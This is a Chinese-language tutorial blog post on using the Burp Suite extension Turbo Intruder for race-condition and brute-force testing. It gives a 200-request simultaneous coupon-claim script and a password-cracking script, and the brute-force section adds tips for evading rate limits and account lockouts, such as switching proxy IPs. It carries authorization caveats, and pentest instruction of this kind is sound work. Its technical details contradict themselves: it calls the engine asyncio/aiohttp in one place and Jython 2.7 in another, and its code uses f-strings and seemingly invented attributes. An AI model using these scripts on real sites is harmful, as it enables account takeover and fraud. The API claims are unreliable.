1. 告别无效并发测试:为什么你的并发漏洞挖掘总在“刮痧”?
在安全测试的日常里,并发测试是个让人又爱又恨的活儿。爱的是,它往往能揪出那些逻辑复杂、隐蔽性强的业务漏洞,比如并发支付、并发领券、并发修改库存,一旦挖到,价值不菲。恨的是,传统工具做并发测试,效率低得让人抓狂。用 Burp Suite 的 Intruder 模块?配置复杂,线程数有限,速度上不去,发个几百上千的请求就得等半天,还经常因为网络延迟或目标服务器响应慢,导致请求实际并未“同时”到达,测试效果大打折扣。这感觉就像拿着绣花针去凿墙,费劲不说,还总在“刮痧”,根本触及不到问题的核心。
这就是“无效并发测试”的典型困境:你以为发了一堆请求,实际上它们可能被工具本身、你的网络或者服务器队列给“串行化”了,完全模拟不出真实的高并发场景。漏洞是否存在,你根本测不出来,白白浪费时间和精力。
直到我遇到了Turbo Intruder,这个由 PortSwigger 官方出品的“涡轮增压”版入侵者。它不是一个独立工具,而是 Burp Suite 的一个扩展(BApp),但其设计理念和实现方式,彻底颠覆了传统并发测试的模式。它不依赖于 Burp 自带的请求引擎,而是用 Python 编写后端逻辑,直接操作底层的 HTTP 库,实现了对请求队列、网络连接、发送时序的极致控制。简单说,它能让你以极高的速率、极精确的时序,向目标服务器“倾泻”海量请求,真正模拟出“瞬间并发”的效果。
如果你受够了 Intruder 的缓慢和不可控,如果你怀疑某个业务点存在并发竞争条件漏洞却总是测试无果,那么 Turbo Intruder 就是你工具箱里不可或缺的“破壁机”。接下来,我将结合多次实战经验,从设计思路、核心配置到实战案例,带你彻底掌握这把利器,告别无效的并发测试。
2. Turbo Intruder 核心设计思路与优势解析
2.1 传统并发测试工具的瓶颈在哪里?
要理解 Turbo Intruder 为何强大,首先要明白传统工具(以 Burp Intruder 为例)的弱点:
- 线程模型限制:Burp Intruder 虽然可以设置线程数,但这些线程受限于 Java 线程池和 Burp 整体的 UI 响应,难以实现数百甚至上千的并发。更重要的是,线程的调度和请求的发送、接收处理是耦合的,一个请求的延迟会直接影响后续线程的执行。
- 请求队列不可控:请求从生成到真正从网卡发出,中间经过多层队列(Burp 内部队列、操作系统网络栈队列)。在高负载下,这些队列会导致请求并非“同时”发出,而是有微小的、不可控的间隔。
- 网络连接复用与延迟:HTTP 连接的管理(如 keep-alive)和 TCP 握手延迟,都会影响请求到达服务器端的精确时间。
- 资源竞争与阻塞:Burp 本身作为图形化工具,需要处理界面渲染、日志记录等,在高强度并发测试时,这些操作会与请求发送线程竞争 CPU 和内存资源,导致性能下降甚至界面卡顿。
这些瓶颈导致的结果就是:你设置的并发数,不等于服务器实际接收到的并发数。对于检测竞争条件漏洞(Race Condition)来说,这往往是致命的,因为这类漏洞的触发窗口可能非常短暂(毫秒级),请求到达的时间差稍微大一点,漏洞就溜走了。
2.2 Turbo Intruder 的“涡轮增压”原理
Turbo Intruder 采用了截然不同的架构,核心思想是“将请求引擎与 UI 分离,并用脚本实现精准控制”。
- Python 后端引擎:Turbo Intruder 的请求发送核心是一个用 Python 编写的脚本引擎。当你启动一个攻击时,Burp 只是将请求模板和参数传递给这个后端引擎。引擎运行在一个独立的进程中,不受 Burp UI 线程的干扰,可以全力进行网络 I/O 操作。
- 基于 asyncio 的异步高并发:其 Python 脚本大量使用了
asyncio库和aiohttp等异步 HTTP 客户端。这意味着它可以用少量的操作系统线程(甚至单线程)管理成千上万个并发的网络连接。通过事件循环,当一个请求在等待网络响应时,CPU 可以立刻去处理另一个请求的发送,实现了极高的资源利用率和并发能力。 - 请求队列与定时器精准控制:这是 Turbo Intruder 的杀手锏。它允许你通过脚本精确控制每一个请求的发送时间。你可以将所有请求构建好,然后命令引擎在某个精确的时刻(例如,在某个时间戳后的 10 毫秒内)将所有请求同时发射出去。这得益于
asyncio的定时任务能力,能够最大程度减少操作系统调度带来的随机延迟。 - 连接管理与套接字复用:脚本可以自定义连接池策略,例如为每个目标主机创建大量独立的 socket 连接,并禁用 keep-alive,以确保每个请求都通过一个全新的 TCP 连接发送,避免连接建立时间带来的偏差。虽然这增加了开销,但对于追求极致“同时性”的测试场景是必要的。
注意:Turbo Intruder 的强大也带来了一定风险。如此高的请求速率极易对目标服务造成拒绝服务(DoS)影响。务必仅在获得明确授权的测试范围内使用,并谨慎设置请求速率和并发数,最好在测试环境进行。在实战中,我通常会先从一个较低的并发数(如50)开始,观察目标响应,再逐步上调。
2.3 与同类工具的对比优势
除了对比 Burp Intruder,也常有人拿它和ffuf、wfuzz等命令行工具比较。这些工具在速度上可能不输,甚至更快,但它们缺少 Turbo Intruder 的两个关键优势:
- 与 Burp Suite 生态的无缝集成:无需手动复制粘贴请求、处理 Cookie。直接在 Burp 的 Proxy history 或 Repeater 中右键,发送到 Turbo Intruder,所有请求头、参数、会话状态都自动带入,极大提升了工作流效率。
- 强大的结果实时处理与过滤能力:Turbo Intruder 的脚本可以实时处理响应。你可以在脚本中编写 Python 代码,对返回的状态码、响应体长度、特定关键字进行实时判断和标记。例如,自动高亮显示“余额不足”和“支付成功”两种不同结果的请求,这在分析成千上万个响应时至关重要。
3. 环境配置与基础脚本解读
3.1 安装与界面初识
安装非常简单,在 Burp Suite 的 BApp Store 中搜索 “Turbo Intruder” 并安装即可。安装后,在 HTTP 历史记录、Proxy 拦截消息或 Repeater 标签页中,右键点击请求,在菜单里就能找到 “Send to Turbo Intruder” 选项。
点击后会打开两个窗口:一个是请求编辑/攻击配置窗口,另一个是攻击结果输出窗口。配置窗口分为上下两部分:
- 上半部分:显示原始的 HTTP 请求,你可以在这里做最后的修改。
- 下半部分:是一个 Python 脚本编辑器,这是 Turbo Intruder 的灵魂。里面已经预置了一个基础攻击模板脚本。
3.2 解剖默认攻击脚本
理解这个默认脚本是上手的关键。它主要包含以下几个函数:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=100, pipeline=False ) # 从wordlists获取攻击载荷 for word in wordlists['/usr/share/dict/words']: engine.queue(target.req, word)queueRequests(target, wordlists): 这是必须定义的入口函数。Turbo Intruder 会调用它来构建攻击队列。RequestEngine: 这是核心类,负责管理所有HTTP请求的发送。其关键参数:endpoint: 目标地址,通常用target.endpoint自动获取。concurrentConnections:并发连接数。这是控制“同时性”的关键参数之一。它决定了同时保持打开的TCP连接数量。注意,这不完全等同于每秒请求数(RPS),但正相关。requestsPerConnection: 每个连接发送的请求数。如果设为1,则每个请求都使用新连接,最能保证“同时性”,但开销最大。如果设为大于1,则会在一个连接上顺序发送多个请求(HTTP/1.1 Keep-Alive),速度更快,但请求间会有微小延迟。pipeline: HTTP 流水线。如果服务器支持,可以极大提升速度,但兼容性较差,默认关闭。
engine.queue(target.req, word): 将请求加入队列。target.req是基础请求模板,word是替换的载荷。默认脚本会遍历一个字典文件,对请求中的§§标记位置进行替换并发送。
def handleResponse(req, interesting): # 目前什么都没做,只是将请求添加到结果表格 table.add(req)handleResponse(req, interesting): 每个请求收到响应后,都会调用此函数。req是请求对象(包含响应),interesting是一个布尔值标记。你可以在这里编写逻辑来判断响应是否“有趣”。if 'error' not in req.response: 如果响应中不包含‘error’关键字,则标记为有趣。if req.status != 404: 如果状态码不是404,则标记为有趣。table.add(req): 将请求添加到结果表格。你可以通过req对象访问req.status(状态码)、req.length(响应长度)、req.response(响应体)等属性。
第一个实操心得:默认脚本的concurrentConnections=5对于并发漏洞测试来说太保守了。我们第一步通常就是把这个值调高,比如调到 200 或 500。同时,为了追求极致的并发,我会把requestsPerConnection设为 1,并确保脚本中所有请求是通过engine.queue()快速加入队列,然后通过engine.start()配合定时器来触发,而不是边队列边发送。
4. 实战场景一:并发竞争条件漏洞挖掘
竞争条件漏洞是 Turbo Intruder 最典型的用武之地。其核心模式是:“先批量加入队列,再统一定时触发”。
4.1 场景构建:限量优惠券并发领取
假设有一个领取优惠券的功能:POST /api/coupon/grab,请求体为{“couponId”: “FEST2024”}。业务逻辑是:每个用户只能领取一次,优惠券总数 100 张,领完即止。
漏洞猜想:服务端校验“用户是否已领取”和“扣减库存”这两个操作如果不是原子性的(例如,先查再插,中间没有加锁),就可能被并发请求绕过。用户可能通过并发请求领取到多张券,或者库存被超发。
4.2 Turbo Intruder 攻击脚本编写
我们的目标是模拟同一个用户(同一个会话 Cookie)在极短时间内(如 1 毫秒内)发出 200 个领取请求。
- 捕获请求:在 Burp 浏览器中完成一次领取操作,捕获这个 POST 请求。
- 发送到 Turbo Intruder:右键,
Send to Turbo Intruder。 - 修改脚本:清空默认脚本,替换为以下针对并发测试的脚本:
from datetime import datetime def queueRequests(target, wordlists): # 创建引擎,设置高并发连接,每个连接只发一个请求以保证同时性 engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=200, # 并发连接数等于我们要发的请求数 requestsPerConnection=1, # 每个连接只发一个请求 pipeline=False, timeout=10, maxRetriesPerRequest=0 # 不重试,避免干扰 ) # 我们需要发送的请求数量 request_count = 200 # 基础请求模板 req_template = target.req # 将200个完全相同的请求快速加入引擎队列 for i in range(request_count): # 注意:这里没有修改任何参数,发送的是完全相同的请求 engine.queue(req_template) # 所有请求已加入队列,现在计算一个未来的触发时间点(例如100毫秒后) start_time = datetime.now().timestamp() + 0.1 # 通知引擎,将所有已队列的请求,在指定的start_time时刻同时开始发送 engine.start(timeout=5, startTime=start_time) def handleResponse(req, interesting): # 在这里分析响应。对于领券场景,我们关注: # 1. 响应状态码(200成功,400失败等) # 2. 响应体中是否包含成功关键词,如"success", "领取成功", "couponCode" # 3. 响应体中是否包含失败关键词,如"已领取", "库存不足", "fail" data = req.response status = req.status # 标记有趣的请求:比如所有成功的请求 if status == 200 and b'success' in data.lower(): req.label = 'SUCCESS' # 给请求打上标签,方便在结果中筛选 req.highlight = 'green' # 高亮显示 interesting = True elif status == 200 and (b'already' in data.lower() or b'claimed' in data.lower()): req.label = 'ALREADY_CLAIMED' interesting = False else: req.label = 'OTHER_{}'.format(status) interesting = False # 将请求添加到结果表,只有标记为interesting的会默认显示在“Interesting”子标签页 table.add(req)脚本关键点解读:
concurrentConnections=200和requestsPerConnection=1:这配置了200个独立的TCP连接,每个连接只发送一个请求。这能最大程度保证200个请求几乎同时到达服务器网卡。engine.queue(req_template)循环:快速将200个请求对象放入引擎的内部队列。此时请求并未发出。engine.start(startTime=start_time):这是实现“并发”的魔法语句。它告诉引擎,将所有当前在队列中的请求,在start_time这个精确的时刻(Unix时间戳)开始发送。网络栈和操作系统调度虽然会引入纳秒/微秒级的差异,但这已经是最接近“同时”发送的方法了。handleResponse函数:我们根据状态码和响应内容给请求打标签、高亮。例如,将成功的请求标绿,便于在结果海量数据中快速定位。
4.3 执行攻击与结果分析
点击攻击配置窗口的 “Attack” 按钮,Turbo Intruder 会启动 Python 后端。你会在输出窗口看到请求以极快的速度发送完毕。
结果分析要点:
- 查看“Interesting”标签页:这里会集中显示你在
handleResponse中标记为interesting=True的请求。如果存在漏洞,你可能会看到多个请求被标记为 ‘SUCCESS’(绿色高亮)。这意味着同一个用户的并发请求,有多个被服务端处理成了“领取成功”。 - 检查响应体:点开这些成功的请求,仔细对比响应体。真正的漏洞可能表现为:
- 返回了多个不同的优惠券码。
- 返回了相同的成功提示,但库存扣减逻辑错误(需要结合后续查询验证)。
- 数量统计:如果优惠券库存是100张,而你用200个并发请求,结果却收到了150个成功响应,那基本可以确定存在超发漏洞。
实操心得:第一次运行这种高并发脚本时,很容易因为目标服务器防护(如WAF)或自身网络问题导致大量请求失败。建议先在小规模(如20-30个并发)测试脚本逻辑和网络连通性。另外,
handleResponse里的判断逻辑要尽量精准,避免误判。例如,有些接口成功时返回{“code”:0},失败返回{“code”:-1},比用关键字‘success’更可靠。
5. 实战场景二:批量密码爆破与速率控制
虽然 Turbo Intruder 以并发见长,但其灵活的速率控制机制,也让它成为批量密码爆破(尤其是针对有复杂频率限制的接口)的利器。
5.1 场景构建:登录接口的智能爆破
目标登录接口POST /api/login,有较强的防护:单个IP短时间内连续错误登录10次会触发账户临时锁定或IP冷却。但锁定策略可能存在漏洞:或许只统计了最终状态为失败的请求,而将密码正确但其他校验(如验证码)失败的请求排除在外。
5.2 利用 Turbo Intruder 进行低速率、高并发的混合攻击
策略:我们不再追求一次性海量并发,而是追求“在单位时间内,维持一个较高且稳定的请求速率,并智能处理响应,绕过锁定逻辑”。
import time from collections import deque # 全局变量,用于记录最近请求的结果,模拟滑动窗口 request_history = deque(maxlen=15) # 记录最近15次请求的状态 consecutive_failures = 0 def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10, # 维持10个长连接 requestsPerConnection=100, # 利用长连接提升效率 pipeline=False, timeout=15, engine=Engine.THREADED # 使用线程引擎,便于在queueRequests中实现复杂逻辑 ) # 假设我们有一个密码字典列表 passwords = ['123456', 'password', 'admin123', 'qwerty', 'companyname2024', ...] # 此处省略 # 构建基础请求,标记出密码位置 base_req = target.req # 假设请求体是 JSON: {"username":"victim","password":"§§"} # 在Turbo Intruder编辑器中,手动将密码部分用§§括起来即可。 for pwd in passwords: # 简单的速率控制:每发送一个请求,短暂休眠 # 但更高级的做法是在handleResponse里根据历史决策 engine.queue(base_req, pwd) # time.sleep(0.1) # 简单的固定间隔,但不够灵活 # 不需要startTime,使用引擎默认的流式发送 # engine.start() def handleResponse(req, interesting): global consecutive_failures, request_history data = req.response status = req.status # 分析响应,判断登录结果 if status == 200 and b'login success' in data.lower(): req.label = 'CRACKED' req.highlight = 'red' interesting = True print(f'[+] Password found: {req.word}') # req.word 是使用的载荷 # 发现密码后,可以尝试停止攻击(虽然Turbo Intruder原生支持停止较复杂,但可以标记) req.shouldStop = True # 这是一个自定义标记,需要在queueRequests中检查 elif status == 429 or b'too many requests' in data.lower(): # 触发速率限制 req.label = 'RATE_LIMIT' req.highlight = 'yellow' interesting = True consecutive_failures += 1 request_history.append('rate_limit') print(f'[-] Rate limit hit. Consecutive failures: {consecutive_failures}') # 如果连续触发限制,可以动态增加延迟(此处需在queueRequests实现反馈,略复杂) elif status == 403 or b'locked' in data.lower(): # 账户或IP被锁定 req.label = 'LOCKED' req.highlight = 'orange' interesting = True print('[-] Account/IP might be locked. Pausing.') # 在实际脚本中,这里可以设置一个全局标志,让queueRequests暂停队列 else: # 普通登录失败 req.label = 'FAIL' interesting = False consecutive_failures = 0 # 重置连续失败计数 request_history.append('fail') table.add(req)脚本策略解读:
- 速率控制:通过
concurrentConnections=10和requestsPerConnection=100维持一个稳定的连接池,以相对较高的效率发送请求,但并非极限并发。 - 智能响应处理:
handleResponse函数充当了“大脑”。它实时分析响应:- 发现密码成功 (
CRACKED),立即高亮并打印。 - 遇到频率限制 (
429状态码或‘too many requests’),标记并记录。你可以扩展脚本,让queueRequests在检测到一定数量的RATE_LIMIT后,自动插入time.sleep(2)等延迟。 - 遇到账户锁定 (
LOCKED),发出警告。更复杂的脚本可以切换代理IP或暂停攻击。
- 发现密码成功 (
- 状态保持:使用全局变量
consecutive_failures和request_history来记录攻击状态,实现自适应的攻击策略。
注意事项:这种复杂的、有状态的反反馈控制,在 Turbo Intruder 中实现需要更精巧的线程间通信(因为
queueRequests和handleResponse可能运行在不同线程)。上述代码给出了逻辑框架。更稳定的做法是将queueRequests设计为一个生产者,不断从密码列表中取密码;而handleResponse作为消费者分析结果,并通过一个共享的队列或变量将“需要减速”的信号传递给生产者。这涉及到 Python 的线程安全数据结构(如queue.Queue),是进阶用法。
6. 高级技巧与性能调优
6.1 连接池与超时优化
maxConnectionsPerHost:限制对单个主机的最大连接数。在测试分布式系统或负载均衡后的服务时,适当调高此值(如1000),以确保连接能打到不同的后端实例。timeout:请求超时时间。对于响应慢的接口,需要调大(如30秒)。但注意,超时请求会占用连接资源,影响整体速度。maxRetriesPerRequest:重试次数。对于并发测试,通常设为0,因为重试会破坏请求的“同时性”和测试节奏。对于爆破场景,可以设为1或2以提高鲁棒性。
6.2 载荷处理与编码
Turbo Intruder 的engine.queue()方法支持自动替换§§标记。如果需要更复杂的载荷生成或编码,可以在 Python 脚本中直接处理。
import urllib.parse def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=50, requestsPerConnection=1) base_req = target.req usernames = ['admin', 'test', 'root'] passwords = ['pass123', 'admin'] # 双变量迭代 for user in usernames: for pwd in passwords: # 手动构建请求,进行URL编码 modified_req = base_req.replace(b'USER_PLACEHOLDER', urllib.parse.quote(user).encode()) modified_req = modified_req.replace(b'PASS_PLACEHOLDER', urllib.parse.quote(pwd).encode()) engine.queue(modified_req)6.3 结果过滤与导出
Turbo Intruder 的结果界面功能强大:
- 过滤:可以通过顶部的过滤框,根据状态码、长度、标签(
req.label)进行过滤。 - 列定制:右键点击结果表头,可以添加/隐藏列,如显示
req.label、req.word(载荷)等。 - 搜索:支持在全部响应内容中搜索关键字。
- 导出:可以将选中的请求或所有请求导出为文本、HTML 或 CSV 格式,方便后续报告编写。
一个实用技巧:在handleResponse中,不仅可以用table.add(req),还可以用req.comment = ‘一些备注’来添加注释,这些注释会显示在结果表格的单独列中,对于记录请求的上下文信息非常有用。
7. 常见问题、排错与避坑指南
7.1 请求大量失败,状态码为 0 或 443
- 问题:攻击开始后,大量请求立即失败,状态码显示为0,或者错误信息包含
SSL,443,connection refused。 - 原因:
- HTTPS 证书问题:目标服务器使用了自签名证书或证书不匹配,Python 的
aiohttp库默认进行严格校验。 - 连接被拒绝:瞬间发起大量连接,触发了目标服务器的 SYN Flood 防护或连接数限制。
- HTTPS 证书问题:目标服务器使用了自签名证书或证书不匹配,Python 的
- 解决:
- 在
RequestEngine初始化时,添加ssl=False参数来禁用 SSL 验证(仅限测试环境!)。例如:engine = RequestEngine(..., ssl=False)。 - 降低
concurrentConnections初始值,并增加timeout。先以较低的并发(如20)测试网络连通性和服务器接受能力。
- 在
7.2 攻击速度很慢,达不到预期并发
- 问题:即使设置了很高的
concurrentConnections,实际发送速率(RPS)还是很低。 - 原因:
requestsPerConnection设置过大(如默认的100),且服务器响应慢。引擎会等待一个连接上的请求收到响应后,才复用该连接发送下一个,形成了“排队”。handleResponse函数处理逻辑过于复杂,或者table.add(req)操作(涉及UI更新)成为瓶颈。- 本地机器或目标服务器网络带宽、CPU、文件描述符数量受限。
- 解决:
- 对于追求“同时到达”的测试,将
requestsPerConnection设为1。 - 在
handleResponse中,只做最简单的判断(如状态码比较),避免复杂的字符串搜索或正则匹配。可以将原始响应保存下来,等攻击结束后再统一分析。 - 检查本地系统资源。在 Linux 上,可以临时提高单进程可打开文件数限制:
ulimit -n 65535。
- 对于追求“同时到达”的测试,将
7.3 Python 脚本错误或导入模块失败
- 问题:启动攻击时,输出窗口报 Python 语法错误或
ModuleNotFoundError。 - 原因:Turbo Intruder 使用 Jython(运行在 JVM 上的 Python)来执行脚本,它兼容 Python 2.7 语法,且只能访问部分标准库和 Burp 提供的 API。不能直接使用
pip install安装的第三方库(如requests,numpy)。 - 解决:
- 确保脚本语法是 Python 2.7 兼容的(如
print是语句而非函数)。 - 只使用 Jython 支持的标准库模块。复杂的网络操作应依赖
RequestEngine本身。 - 如果需要复杂计算,可以考虑在
queueRequests中调用 Java 类(通过java.lang、java.util),但这属于高级用法。
- 确保脚本语法是 Python 2.7 兼容的(如
7.4 如何精准控制请求发送的“同时性”?
这是并发测试的灵魂。确保以下几点:
- 使用
engine.start(startTime=...):这是最关键的一步。先queue所有请求,再统一start。 requestsPerConnection=1:每个请求独占一个连接,避免连接内排队。- 足够的
concurrentConnections:这个数至少要等于你希望同时发出的请求数。如果请求数是200,这里就设200或更大。 - 预热:可以在正式攻击前,先发送几个无关的预热请求,让 Python 和操作系统建立初始连接池,避免第一次连接建立的延迟影响第一批关键请求。
7.5 实战避坑心得
- 环境隔离:并发测试对生产服务是危险的。务必在测试环境或获得明确授权的范围内进行。
- 循序渐进:不要一上来就设置 1000 并发。从 10、50、100 逐步增加,观察目标响应和错误率。如果错误率陡增,说明触及了服务或网络的极限。
- 关注业务逻辑:并发漏洞的利用成功与否,强烈依赖于业务逻辑。在测试前,要仔细分析请求流程:有哪些校验点?数据库操作有哪些?可能的竞争窗口在哪里?Turbo Intruder 是锤子,但你要先找到钉子。
- 结果分析要仔细:并发漏洞的响应可能很微妙。两个请求都返回成功,但需要检查它们成功的内容是否相同(比如订单号是否唯一)。结合 Burp 的 Comparer 工具对比响应体非常有用。
- 日志是你的朋友:在测试过程中,打开 Burp 的 Event Log 和 Turbo Intruder 的输出控制台,查看是否有连接错误、超时等警告信息,这有助于定位问题。